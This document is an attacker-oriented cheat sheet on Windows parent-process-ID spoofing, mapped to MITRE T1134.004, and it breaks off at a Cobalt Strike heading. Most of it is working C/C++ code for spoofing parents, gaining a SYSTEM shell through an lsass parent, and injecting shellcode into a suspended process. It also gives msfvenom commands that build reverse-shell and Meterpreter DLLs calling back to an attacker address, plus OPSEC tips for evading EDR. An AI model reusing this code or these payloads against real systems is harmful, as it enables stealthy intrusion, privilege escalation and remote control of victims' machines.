Legend:
[SPOOF]= Spoofing technique |[PRIV-ESC]= Privilege escalation vector |[OPSEC]= Operational Security note |[DETECT]= Detection vector |[EVASION]= Bypass technique |[TOOL]= Tool reference |[API]= Windows API reference |[MITRE]= ATT&CK mapping
1. What is PPID Spoofing
What it means: Every process in Windows has a Parent Process ID (PPID) — the PID of the process that spawned it. Security tools, EDRs, and threat hunters heavily monitor parent-child process relationships to detect malicious behaviour (e.g., Word.exe spawning cmd.exe = phishing).
PPID Spoofing is a technique that lets an attacker forge the parent process of any newly spawned process. Instead of the real creator showing in the process tree, a chosen legitimate process (like explorer.exe or svchost.exe) appears as the parent.
Normal process creation (Word spawns PowerShell):
Word.exe (PID: 1234)
└─ PowerShell.exe (PPID: 1234) ← EDR ALERT: Office spawned powershell!
PPID Spoofing (Word spawns PowerShell, but claims explorer.exe is parent):
Word.exe (PID: 1234) ← Real creator (invisible to most tools)
explorer.exe (PID: 2456)
└─ PowerShell.exe (PPID: 2456) ← Looks like user launched it normally
[MITRE] T1134.004 — Access Token Manipulation: Parent PID Spoofing
- Tactic: Defense Evasion (TA0005) + Privilege Escalation (TA0004)
- Platforms: Windows
- Required Privilege: Any (low priv for evasion, admin for SYSTEM-token escalation)
2. Why It Matters — The Process Tree Problem
The core detection model most defenders rely on:
Threat Hunters / EDR behavioral rules:
├─ cmd.exe parent = powershell.exe → ALERT (lateral movement)
├─ PowerShell parent = winword.exe → ALERT (phishing/macro)
├─ mshta.exe parent = excel.exe → ALERT (phishing)
├─ cmd.exe parent = svchost.exe → LOW RISK (normal Windows behavior)
└─ notepad.exe parent = explorer.exe → BENIGN (user launched)
Why attackers need PPID Spoofing:
| Attack Scenario | Without Spoofing | With Spoofing |
|---|---|---|
| Macro drops and runs payload | Office.exe → cmd.exe → ALERT | cmd.exe claims explorer.exe parent → clean |
| C2 beacon spawns post-ex jobs | malware.exe → powershell.exe → ALERT | powershell.exe claims svchost.exe → clean |
| Lateral movement via SMB | psexec → cmd.exe → ALERT | cmd.exe claims services.exe → clean |
| Shellcode runner spawns calc | loader.exe → calc.exe → suspicious | calc.exe claims explorer.exe → benign |
| Spawning tools on a host | Any unusual parent → flagged | Blend with normal process trees |
[OPSEC] PPID Spoofing defeats signature-based parent/child rules but does NOT defeat ETW-level kernel telemetry which tracks the actual creating process. See Section 16.
3. Windows Process Internals — How Parenting Works
How Windows normally tracks parent processes:
When CreateProcess() is called:
├─ Kernel creates EPROCESS structure for new process
├─ InheritedFromUniqueProcessId field = PID of calling process
├─ This becomes the PPID shown in Task Manager / Process Explorer
└─ This is what most tools read via NtQuerySystemInformation
The PPID stored in EPROCESS:
├─ Is just a number — Windows doesn't validate it
├─ Can be set to ANY PID via PROC_THREAD_ATTRIBUTE_PARENT_PROCESS
└─ The kernel records BOTH: the fake PPID AND the real creating process PID
Key structures involved:
// STARTUPINFOEXA — Extended startup info that carries the attribute list
typedef struct _STARTUPINFOEXA {
STARTUPINFOA StartupInfo; // Standard startup info (cb, etc.)
LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList; // ← where PPID goes
} STARTUPINFOEXA;
// PROC_THREAD_ATTRIBUTE_LIST is an opaque structure initialized with:
// InitializeProcThreadAttributeList()
// UpdateProcThreadAttribute() ← sets PROC_THREAD_ATTRIBUTE_PARENT_PROCESS
The attribute mechanism (how the fake parent is passed):
Step 1: OpenProcess(target_parent_pid) → get HANDLE to desired fake parent
Step 2: InitializeProcThreadAttributeList(...) → allocate attribute list
Step 3: UpdateProcThreadAttribute(
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
&parentHandle) → tell CreateProcess: use this as parent
Step 4: CreateProcess(... EXTENDED_STARTUPINFO_PRESENT ...) → spawn child with fake PPID
[API] Full API call chain from Win32 down to kernel:
kernel32!CreateProcessA / CreateProcessW
└─ kernel32!CreateProcessInternalW
└─ ntdll!NtCreateUserProcess ← lowest Win32-accessible level
└─ nt!PspCreateProcess ← kernel, always knows real creator
4. Core API Chain — CreateProcess + STARTUPINFOEX
The three key APIs for PPID spoofing:
4.1 OpenProcess — Get Handle to Fake Parent
// Signature:
HANDLE OpenProcess(
DWORD dwDesiredAccess, // Access rights needed
BOOL bInheritHandle, // Whether child inherits this handle
DWORD dwProcessId // PID of target parent process
);
// For PPID spoofing, you need PROCESS_CREATE_PROCESS access:
HANDLE parentHandle = OpenProcess(
PROCESS_CREATE_PROCESS, // Minimum required
FALSE,
targetPID
);
// MAXIMUM_ALLOWED also works (broader, slightly more detectable):
HANDLE parentHandle = OpenProcess(MAXIMUM_ALLOWED, FALSE, targetPID);
4.2 InitializeProcThreadAttributeList — Allocate Attribute List
// Signature:
BOOL InitializeProcThreadAttributeList(
LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList, // Buffer (NULL first call = get size)
DWORD dwAttributeCount, // Number of attributes (1 for PPID)
DWORD dwFlags, // Reserved, must be 0
PSIZE_T lpSize // Size returned on first call
);
// Usage — two-call pattern (first call to get size, second to initialize):
SIZE_T attributeSize;
InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize); // Get required size
si.lpAttributeList = HeapAlloc(GetProcessHeap(), 0, attributeSize);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attributeSize); // Init
4.3 UpdateProcThreadAttribute — Set the Fake Parent
// Signature:
BOOL UpdateProcThreadAttribute(
LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList,
DWORD dwFlags, // Reserved, must be 0
DWORD_PTR Attribute, // What attribute to set
PVOID lpValue, // Pointer to value
SIZE_T cbSize, // Size of value
PVOID lpPreviousValue, // Usually NULL
PSIZE_T lpReturnSize // Usually NULL
);
// For PPID spoofing:
UpdateProcThreadAttribute(
si.lpAttributeList,
0,
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, // ← This is the magic flag
&parentHandle, // ← Handle to desired fake parent
sizeof(HANDLE),
NULL,
NULL
);
4.4 CreateProcess — Spawn with Fake Parent
// Must pass EXTENDED_STARTUPINFO_PRESENT flag + cast si to LPSTARTUPINFOA
CreateProcessA(
NULL, // lpApplicationName
(LPSTR)"target.exe", // lpCommandLine
NULL, // lpProcessAttributes
NULL, // lpThreadAttributes
FALSE, // bInheritHandles
EXTENDED_STARTUPINFO_PRESENT, // ← CRITICAL: tells kernel to read attribute list
NULL, // lpEnvironment
NULL, // lpCurrentDirectory
&si.StartupInfo, // ← Pass STARTUPINFOA* (cast from STARTUPINFOEXA)
&pi // PROCESS_INFORMATION output
);
5. Technique 1 — Classic PPID Spoofing (C/C++)
What it does: Spawns a target process (e.g., notepad.exe) with a hardcoded or chosen fake parent PID. The simplest, most direct implementation — basis for everything else.
5.1 Minimal PPID Spoofing (Hardcoded PID)
// ppid_spoof_basic.cpp
// Compile: cl.exe ppid_spoof_basic.cpp /Fe:ppid_spoof.exe
// or: x86_64-w64-mingw32-g++ ppid_spoof_basic.cpp -o ppid_spoof.exe -lntdll
#include <windows.h>
#include <TlHelp32.h>
#include <iostream>
int main()
{
STARTUPINFOEXA si;
PROCESS_INFORMATION pi;
SIZE_T attributeSize;
ZeroMemory(&si, sizeof(STARTUPINFOEXA));
// ─── Step 1: Open handle to fake parent (igfxTray.exe = PID 6200 in this example)
HANDLE parentProcessHandle = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, 6200);
if (!parentProcessHandle) {
std::cerr << "[-] OpenProcess failed: " << GetLastError() << std::endl;
return 1;
}
// ─── Step 2: Allocate attribute list
InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(
GetProcessHeap(), 0, attributeSize
);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attributeSize);
// ─── Step 3: Set PPID attribute
UpdateProcThreadAttribute(
si.lpAttributeList, 0,
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
&parentProcessHandle, sizeof(HANDLE),
NULL, NULL
);
si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
// ─── Step 4: Create process with spoofed PPID
if (!CreateProcessA(
NULL, (LPSTR)"notepad",
NULL, NULL, FALSE,
EXTENDED_STARTUPINFO_PRESENT,
NULL, NULL,
&si.StartupInfo, &pi))
{
std::cerr << "[-] CreateProcess failed: " << GetLastError() << std::endl;
} else {
std::cout << "[+] Spawned notepad.exe with spoofed PPID!" << std::endl;
std::cout << "[+] Child PID: " << pi.dwProcessId << std::endl;
}
// ─── Cleanup
DeleteProcThreadAttributeList(si.lpAttributeList);
HeapFree(GetProcessHeap(), 0, si.lpAttributeList);
CloseHandle(parentProcessHandle);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return 0;
}
5.2 Compilation Commands
# MSVC (on Windows):
cl.exe ppid_spoof_basic.cpp /Fe:ppid_spoof.exe
# MinGW cross-compile (from Linux → Windows x64):
x86_64-w64-mingw32-g++ ppid_spoof_basic.cpp -o ppid_spoof.exe -lntdll
# With debug info:
cl.exe ppid_spoof_basic.cpp /Fe:ppid_spoof.exe /Zi /Od
[OPSEC] Using MAXIMUM_ALLOWED instead of PROCESS_CREATE_PROCESS in OpenProcess is louder — EDRs flag broad access requests on sensitive processes. Prefer the minimum required access right.
6. Technique 2 — Dynamic PID Lookup + Spoofing
What it does: Instead of hardcoding a PID (which changes on every boot), this technique dynamically finds a target process by name at runtime using CreateToolhelp32Snapshot, then spoofs it as the parent.
6.1 Find PID by Name + Spoof
// ppid_spoof_dynamic.cpp — Dynamic PID resolution + PPID spoofing
// Target: spawn cmd.exe claiming explorer.exe as parent
#include <windows.h>
#include <TlHelp32.h>
#include <stdio.h>
#include <string.h>
// ─── Helper: Find PID of a process by name ───────────────────────────────────
DWORD FindProcessPID(const char* processName) {
PROCESSENTRY32 pe32 = { 0 };
pe32.dwSize = sizeof(PROCESSENTRY32);
// Snapshot of all running processes
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) return 0;
if (Process32First(hSnapshot, &pe32)) {
do {
if (_stricmp(pe32.szExeFile, processName) == 0) {
CloseHandle(hSnapshot);
return pe32.th32ProcessID; // Return first match
}
} while (Process32Next(hSnapshot, &pe32));
}
CloseHandle(hSnapshot);
return 0;
}
// ─── PPID Spoofing Function ───────────────────────────────────────────────────
BOOL SpawnWithFakeParent(const char* parentName, const char* childProcess) {
// Step 1: Find the fake parent's PID
DWORD parentPID = FindProcessPID(parentName);
if (!parentPID) {
printf("[-] Could not find process: %s\n", parentName);
return FALSE;
}
printf("[*] Found %s → PID: %lu\n", parentName, parentPID);
// Step 2: Open handle to fake parent
HANDLE hParent = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, parentPID);
if (!hParent) {
printf("[-] OpenProcess failed: %lu\n", GetLastError());
return FALSE;
}
// Step 3: Setup STARTUPINFOEXA
STARTUPINFOEXA si = { 0 };
PROCESS_INFORMATION pi = { 0 };
SIZE_T cbAttrList = 0;
si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
// Get required size for attribute list
InitializeProcThreadAttributeList(NULL, 1, 0, &cbAttrList);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(
GetProcessHeap(), HEAP_ZERO_MEMORY, cbAttrList
);
if (!InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &cbAttrList)) {
printf("[-] InitializeProcThreadAttributeList failed: %lu\n", GetLastError());
return FALSE;
}
// Step 4: Set parent process attribute
if (!UpdateProcThreadAttribute(
si.lpAttributeList, 0,
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
&hParent, sizeof(HANDLE),
NULL, NULL)) {
printf("[-] UpdateProcThreadAttribute failed: %lu\n", GetLastError());
return FALSE;
}
// Step 5: Create process (child will show parentName as its parent)
char cmdLine[MAX_PATH];
strncpy_s(cmdLine, childProcess, MAX_PATH);
if (!CreateProcessA(
NULL, cmdLine,
NULL, NULL, FALSE,
EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE,
NULL, NULL,
&si.StartupInfo, &pi)) {
printf("[-] CreateProcess failed: %lu\n", GetLastError());
return FALSE;
}
printf("[+] Spawned '%s' (PID: %lu) with fake parent '%s' (PID: %lu)\n",
childProcess, pi.dwProcessId, parentName, parentPID);
// Cleanup
DeleteProcThreadAttributeList(si.lpAttributeList);
HeapFree(GetProcessHeap(), 0, si.lpAttributeList);
CloseHandle(hParent);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return TRUE;
}
int main() {
// Spawn cmd.exe — make it look like explorer.exe launched it (normal user activity)
SpawnWithFakeParent("explorer.exe", "cmd.exe");
// Spawn PowerShell — make it look like svchost.exe launched it
// SpawnWithFakeParent("svchost.exe", "powershell.exe");
return 0;
}
6.2 Finding a Good Target Process to Spoof
# On target Windows machine — enumerate good candidates:
tasklist /v # All processes + owners
Get-Process | Select-Object Name, Id, CPU | Sort-Object CPU # PowerShell
wmic process get Caption,ProcessId,ParentProcessId # WMIC
# Ideal PPID spoof targets (high trust, always running, common parents):
explorer.exe - User desktop context (PID changes per session)
svchost.exe - Service host (multiple instances, trusted)
services.exe - Service control manager
spoolsv.exe - Print spooler (commonly trusted)
lsass.exe - Local Security Authority (SYSTEM token — for privesc)
winlogon.exe - Windows logon (SYSTEM)
taskhostw.exe - Task host (common for scheduled task masking)
7. Technique 3 — PowerShell PPID Spoofing (PPID-Spoof)
What it does: F-Secure (now WithSecure) released PPID-Spoof.ps1 — a PowerShell script containing embedded C# that wraps the CreateProcess APIs. It also supports injecting a DLL into the spawned process, making it directly usable with C2 frameworks.
7.1 Setup and Usage
# Download:
# https://github.com/countercept/ppid-spoofing/blob/master/PPID-Spoof.ps1
# Import the module
Import-Module .\PPID-Spoof.ps1
# Basic usage — spawn notepad.exe under explorer.exe's PID
$ppid = Get-Process -Name "explorer" | Select-Object -ExpandProperty Id
PPID-Spoof -ppid $ppid -spawnto "C:\Windows\System32\notepad.exe" -dllpath ".\payload.dll"
# Spawn under PowerShell's context
$ppid = Get-Process -Name "powershell" | Select-Object -ExpandProperty Id
PPID-Spoof -ppid $ppid -spawnto "C:\Windows\System32\notepad.exe" -dllpath ".\payload.dll"
# Attempt SYSTEM — spoof LSASS as parent (requires admin)
$ppid = Get-Process -Name "lsass" | Select-Object -ExpandProperty Id
PPID-Spoof -ppid $ppid -spawnto "C:\Windows\System32\lsass.exe" -dllpath ".\payload.dll"
7.2 Generate Payload DLL with msfvenom
# Reverse TCP shell as DLL payload (for injection into spoofed child)
msfvenom -p windows/x64/shell_reverse_tcp \
exitfunc=thread \
LHOST=192.168.1.100 \
LPORT=4444 \
-f dll \
-o payload.dll
# Meterpreter DLL (more feature-rich)
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=192.168.1.100 \
LPORT=4444 \
-f dll \
-o meterpreter.dll
7.3 C# Backend (Embedded in PPID-Spoof.ps1)
// What PPID-Spoof.ps1 does internally (simplified C# equivalent):
[DllImport("kernel32.dll")]
static extern bool CreateProcess(
string lpApplicationName,
string lpCommandLine,
IntPtr lpProcessAttributes,
IntPtr lpThreadAttributes,
bool bInheritHandles,
uint dwCreationFlags,
IntPtr lpEnvironment,
string lpCurrentDirectory,
ref STARTUPINFOEX lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
// Key: spawns process suspended, loads DLL via WriteProcessMemory + CreateRemoteThread
// Process flow:
// 1. Spoof PPID using UpdateProcThreadAttribute
// 2. Create child process in SUSPENDED state
// 3. Allocate memory in child via VirtualAllocEx
// 4. Write DLL path to child memory via WriteProcessMemory
// 5. Resolve LoadLibraryA address in child
// 6. CreateRemoteThread(child, LoadLibraryA, dllpath) → DLL loads in child
// 7. Resume child thread
[OPSEC] PPID-Spoof requires a DLL on disk — consider using a memory-only payload or reflective DLL. Writing a DLL path to a child process and calling CreateRemoteThread with LoadLibraryA is a heavily-detected injection pattern.
8. Technique 4 — NtCreateUserProcess (Native API / Syscall Level)
What it does: Bypasses the Win32 CreateProcess layer entirely and calls NtCreateUserProcess directly — or via direct/indirect syscall. This is harder for userland EDR hooks to intercept since those hooks live at the ntdll.dll layer.
[API] Call chain:
kernel32!CreateProcess
└─ kernel32!CreateProcessInternalW
└─ ntdll!NtCreateUserProcess ← We call THIS directly
└─ syscall (kernel boundary)
└─ nt!PspCreateProcess ← kernel
8.1 NtCreateUserProcess — Basic Spawn (C++)
// ppid_nt_create.cpp
// Requires: ntdll.h header (available from PHNT or ReactOS)
// References: https://offensivedefence.co.uk/posts/nt-create-user-process/
#include <Windows.h>
#include "ntdll.h" // PHNT or custom ntdll typedefs
#pragma comment(lib, "ntdll")
int main() {
// ─── Step 1: Set image path (NT format — not Win32 format!)
UNICODE_STRING NtImagePath;
RtlInitUnicodeString(
&NtImagePath,
(PWSTR)L"\\??\\C:\\Windows\\System32\\cmd.exe" // NT path prefix required
);
// ─── Step 2: Create process parameters
PRTL_USER_PROCESS_PARAMETERS ProcessParameters = NULL;
RtlCreateProcessParametersEx(
&ProcessParameters,
&NtImagePath,
NULL, // DllPath
NULL, // CurrentDirectory
NULL, // CommandLine
NULL, // Environment
NULL, // WindowTitle
NULL, // DesktopInfo
NULL, // ShellInfo
NULL, // RuntimeData
RTL_USER_PROCESS_PARAMETERS_NORMALIZED
);
// ─── Step 3: Setup PS_CREATE_INFO
PS_CREATE_INFO CreateInfo = { 0 };
CreateInfo.Size = sizeof(CreateInfo);
CreateInfo.State = PsCreateInitialState;
// ─── Step 4: Setup PS_ATTRIBUTE_LIST (image name attribute)
PPS_ATTRIBUTE_LIST AttributeList = (PS_ATTRIBUTE_LIST*)RtlAllocateHeap(
RtlProcessHeap(), HEAP_ZERO_MEMORY, sizeof(PS_ATTRIBUTE_LIST)
);
AttributeList->TotalLength = sizeof(PS_ATTRIBUTE_LIST);
AttributeList->Attributes[0].Attribute = PS_ATTRIBUTE_IMAGE_NAME;
AttributeList->Attributes[0].Size = NtImagePath.Length;
AttributeList->Attributes[0].Value = (ULONG_PTR)NtImagePath.Buffer;
// ─── Step 5: Call NtCreateUserProcess
HANDLE hProcess, hThread = NULL;
NTSTATUS status = NtCreateUserProcess(
&hProcess, &hThread,
PROCESS_ALL_ACCESS, THREAD_ALL_ACCESS,
NULL, NULL, // Object attributes
0, 0, // Process/Thread flags
ProcessParameters,
&CreateInfo,
AttributeList
);
if (NT_SUCCESS(status)) {
printf("[+] NtCreateUserProcess succeeded!\n");
} else {
printf("[-] NtCreateUserProcess failed: 0x%08X\n", status);
}
return 0;
}
8.2 Adding PPID Spoofing to NtCreateUserProcess
// PPID spoof via NtCreateUserProcess — expand the attribute list to 2 entries
// Entry 0: Image name (required)
// Entry 1: Parent process handle (for PPID spoofing)
HANDLE hParent = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, targetPPID);
// Allocate space for 2 attributes
PPS_ATTRIBUTE_LIST AttributeList = (PS_ATTRIBUTE_LIST*)RtlAllocateHeap(
RtlProcessHeap(), HEAP_ZERO_MEMORY,
sizeof(PS_ATTRIBUTE_LIST) + sizeof(PS_ATTRIBUTE) // +1 extra attribute
);
AttributeList->TotalLength = sizeof(PS_ATTRIBUTE_LIST) + sizeof(PS_ATTRIBUTE);
// Attribute 0 — Image name (mandatory)
AttributeList->Attributes[0].Attribute = PS_ATTRIBUTE_IMAGE_NAME;
AttributeList->Attributes[0].Size = NtImagePath.Length;
AttributeList->Attributes[0].Value = (ULONG_PTR)NtImagePath.Buffer;
// Attribute 1 — Parent process (PPID spoof)
AttributeList->Attributes[1].Attribute = PS_ATTRIBUTE_PARENT_PROCESS;
AttributeList->Attributes[1].Size = sizeof(HANDLE);
AttributeList->Attributes[1].Value = (ULONG_PTR)hParent;
// Now call NtCreateUserProcess — the kernel sets PPID to hParent's PID
NTSTATUS status = NtCreateUserProcess(..., AttributeList);
8.3 Direct Syscall PPID Spoofing (SysWhispers2/SysWhispers3)
// Use SysWhispers2/3 to generate syscall stubs that bypass ntdll hooks
// https://github.com/jthuraisamy/SysWhispers2
// Generated stub example (SysWhispers2 output):
// NtCreateUserProcess_Syscall.asm — direct syscall stub in MASM
// In your C code:
#include "syscalls.h" // SysWhispers-generated header
// Call the stub directly (bypasses any EDR hooks on ntdll!NtCreateUserProcess)
NTSTATUS status = NtCreateUserProcess(
&hProcess, &hThread,
PROCESS_ALL_ACCESS, THREAD_ALL_ACCESS,
NULL, NULL,
0, 0,
ProcessParameters,
&CreateInfo,
AttributeList // Contains PPID spoof attribute
);
// ─── Why this matters:
// EDR hooks: ntdll!NtCreateUserProcess → EDR intercepts call → inspects args → decision
// Direct syscall: skips ntdll entirely → EDR hook is bypassed → harder to inspect
[DETECT] Direct syscalls are detected by EDRs via call stack analysis — the return address doesn't point inside ntdll.dll. Pair with call stack spoofing for better evasion.
9. Technique 5 — PPID Spoofing for Privilege Escalation (SYSTEM via LSASS)
What it does: If you have Administrator rights, you can open a handle to lsass.exe (which runs as NT AUTHORITY\SYSTEM) and use its process token as the parent. The child process inherits the SYSTEM token, giving you SYSTEM-level access without UAC.
Token inheritance chain:
lsass.exe (NT AUTHORITY\SYSTEM)
└─ child.exe ← inherits SYSTEM token via PPID spoof
→ child runs as SYSTEM!
This works because:
├─ New process inherits access token from its parent
├─ We fake lsass.exe as parent
└─ Child gets lsass's SYSTEM token (if we have rights to open lsass)
9.1 Privilege Escalation via LSASS PPID Spoof
// privesc_ppid.cpp — Spawn SYSTEM shell via LSASS PPID spoofing
// REQUIRES: SeDebugPrivilege (Administrator)
#include <windows.h>
#include <TlHelp32.h>
#include <stdio.h>
// Enable SeDebugPrivilege — needed to open lsass.exe
BOOL EnableDebugPrivilege() {
HANDLE hToken;
LUID luid;
TOKEN_PRIVILEGES tp;
OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken);
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid);
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
return AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
}
DWORD GetPIDByName(const char* name) {
PROCESSENTRY32 pe = { sizeof(pe) };
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (Process32First(snap, &pe)) {
do {
if (_stricmp(pe.szExeFile, name) == 0) {
CloseHandle(snap);
return pe.th32ProcessID;
}
} while (Process32Next(snap, &pe));
}
CloseHandle(snap);
return 0;
}
int main() {
// ─── Step 1: Enable SeDebugPrivilege
if (!EnableDebugPrivilege()) {
printf("[-] Failed to enable SeDebugPrivilege — need Administrator\n");
return 1;
}
printf("[+] SeDebugPrivilege enabled\n");
// ─── Step 2: Find lsass.exe PID
DWORD lsassPID = GetPIDByName("lsass.exe");
if (!lsassPID) {
printf("[-] lsass.exe not found\n");
return 1;
}
printf("[*] lsass.exe PID: %lu\n", lsassPID);
// ─── Step 3: Open handle to lsass (requires SeDebugPrivilege)
HANDLE hLsass = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, lsassPID);
if (!hLsass) {
// Try with MAXIMUM_ALLOWED if PROCESS_CREATE_PROCESS fails
hLsass = OpenProcess(MAXIMUM_ALLOWED, FALSE, lsassPID);
}
if (!hLsass) {
printf("[-] Failed to open lsass.exe: %lu\n", GetLastError());
return 1;
}
printf("[+] Opened lsass.exe handle\n");
// ─── Step 4: Setup attribute list
STARTUPINFOEXA si = { 0 };
PROCESS_INFORMATION pi = { 0 };
SIZE_T cbAttr = 0;
si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
InitializeProcThreadAttributeList(NULL, 1, 0, &cbAttr);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(
GetProcessHeap(), HEAP_ZERO_MEMORY, cbAttr
);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &cbAttr);
UpdateProcThreadAttribute(
si.lpAttributeList, 0,
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
&hLsass, sizeof(HANDLE),
NULL, NULL
);
// ─── Step 5: Spawn cmd.exe — it inherits SYSTEM token
char cmd[] = "C:\\Windows\\System32\\cmd.exe";
if (CreateProcessA(
NULL, cmd,
NULL, NULL, FALSE,
EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE,
NULL, NULL,
&si.StartupInfo, &pi)) {
printf("[+] Spawned SYSTEM cmd.exe! PID: %lu\n", pi.dwProcessId);
// The cmd.exe is now running as NT AUTHORITY\SYSTEM
} else {
printf("[-] CreateProcess failed: %lu\n", GetLastError());
}
// Cleanup
DeleteProcThreadAttributeList(si.lpAttributeList);
HeapFree(GetProcessHeap(), 0, si.lpAttributeList);
CloseHandle(hLsass);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return 0;
}
9.2 Using SelectMyParent for SYSTEM Shell
rem SelectMyParent — Didier Stevens' original PoC tool
rem https://blog.didierstevens.com/2009/11/22/quickpost-selectmyparent-or-playing-with-the-windows-process-tree/
rem Find lsass PID first:
tasklist | findstr lsass
rem Spawn cmd.exe with lsass as parent (gets SYSTEM token):
SelectMyParent.exe cmd.exe <lsass_pid>
rem Verify — should show NT AUTHORITY\SYSTEM:
whoami
[OPSEC] Opening lsass.exe with any access flags is a HIGH-confidence EDR alert. Many EDRs protect lsass via PPL (Protected Process Light). Consider winlogon.exe, services.exe, or svchost.exe running as SYSTEM instead — less monitored but also carry SYSTEM token.
10. Technique 6 — PPID Spoof + Process Injection (DLL Injection)
What it does: Combines PPID spoofing with process injection. Spawns a legitimate host process with a spoofed parent, then injects shellcode or a DLL into it. The C2 callback comes from the legitimate host process, not the attacker binary.
Attack flow:
attacker.exe → SpawnProcess(notepad.exe, spoofed PPID = explorer.exe)
└─ notepad.exe appears as child of explorer.exe
attacker.exe → InjectShellcode(into notepad.exe PID)
└─ notepad.exe connects back to C2
Result: C2 traffic comes from notepad.exe (trusted), under explorer.exe (trusted parent)
10.1 PPID Spoof + Shellcode Injection
// spoof_and_inject.cpp — Spawn target suspended, inject shellcode, resume
#include <windows.h>
#include <TlHelp32.h>
#include <stdio.h>
// ─── Your shellcode here (msfvenom / custom):
// msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=x LPORT=4444 -f c
unsigned char shellcode[] = {
// Replace with actual shellcode bytes
0x90, 0x90, 0x90 // NOP sled placeholder
};
unsigned int shellcode_len = sizeof(shellcode);
int main() {
DWORD parentPID = 0;
// ─── Find explorer.exe PID
PROCESSENTRY32 pe = { sizeof(pe) };
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (Process32First(snap, &pe)) {
do {
if (_stricmp(pe.szExeFile, "explorer.exe") == 0)
parentPID = pe.th32ProcessID;
} while (Process32Next(snap, &pe));
}
CloseHandle(snap);
printf("[*] explorer.exe PID (fake parent): %lu\n", parentPID);
// ─── Setup PPID spoof
HANDLE hParent = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, parentPID);
STARTUPINFOEXA si = { 0 };
PROCESS_INFORMATION pi = { 0 };
SIZE_T cbAttr = 0;
si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
InitializeProcThreadAttributeList(NULL, 1, 0, &cbAttr);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(
GetProcessHeap(), HEAP_ZERO_MEMORY, cbAttr
);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &cbAttr);
UpdateProcThreadAttribute(si.lpAttributeList, 0,
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
&hParent, sizeof(HANDLE), NULL, NULL);
// ─── Spawn host process SUSPENDED (so we can inject before it runs)
if (!CreateProcessA(
NULL, (LPSTR)"C:\\Windows\\System32\\notepad.exe",
NULL, NULL, FALSE,
EXTENDED_STARTUPINFO_PRESENT | CREATE_SUSPENDED,
NULL, NULL,
&si.StartupInfo, &pi)) {
printf("[-] CreateProcess failed: %lu\n", GetLastError());
return 1;
}
printf("[+] Spawned notepad.exe (PID: %lu) SUSPENDED\n", pi.dwProcessId);
// ─── Inject shellcode into suspended notepad.exe
LPVOID remoteBuffer = VirtualAllocEx(
pi.hProcess,
NULL,
shellcode_len,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE // RWX — detectable; use RW first, then RX in prod
);
WriteProcessMemory(pi.hProcess, remoteBuffer, shellcode, shellcode_len, NULL);
printf("[+] Shellcode injected at: 0x%p\n", remoteBuffer);
// ─── Hijack thread entry point to shellcode, then resume
// Option A: CreateRemoteThread (noisy but simple)
HANDLE hThread = CreateRemoteThread(
pi.hProcess, NULL, 0,
(LPTHREAD_START_ROUTINE)remoteBuffer,
NULL, 0, NULL
);
// Option B: Set thread context (start address) then resume (quieter)
// CONTEXT ctx = { 0 };
// ctx.ContextFlags = CONTEXT_FULL;
// GetThreadContext(pi.hThread, &ctx);
// ctx.Rip = (DWORD64)remoteBuffer; // x64: set RIP
// SetThreadContext(pi.hThread, &ctx);
// ResumeThread(pi.hThread);
printf("[+] Shellcode executing in notepad.exe\n");
// Cleanup
DeleteProcThreadAttributeList(si.lpAttributeList);
HeapFree(GetProcessHeap(), 0, si.lpAttributeList);
CloseHandle(hParent);
return 0;
}
[OPSEC] PAGE_EXECUTE_READWRITE for the injected memory is a major EDR signal. Prefer:
1. Allocate as PAGE_READWRITE → write shellcode
2. Call VirtualProtectEx → change to PAGE_EXECUTE_READ
3. Then create thread / hijack context
11. Technique 7 — Cobalt Strike PPID Spoofing (ppid + spawnto)
What it does: Cobalt Strike Beacon has built-in PPID spoofing via the ppid and spawnto commands. This sets the fake parent for all post-exploitation child processes spawned by beacon.
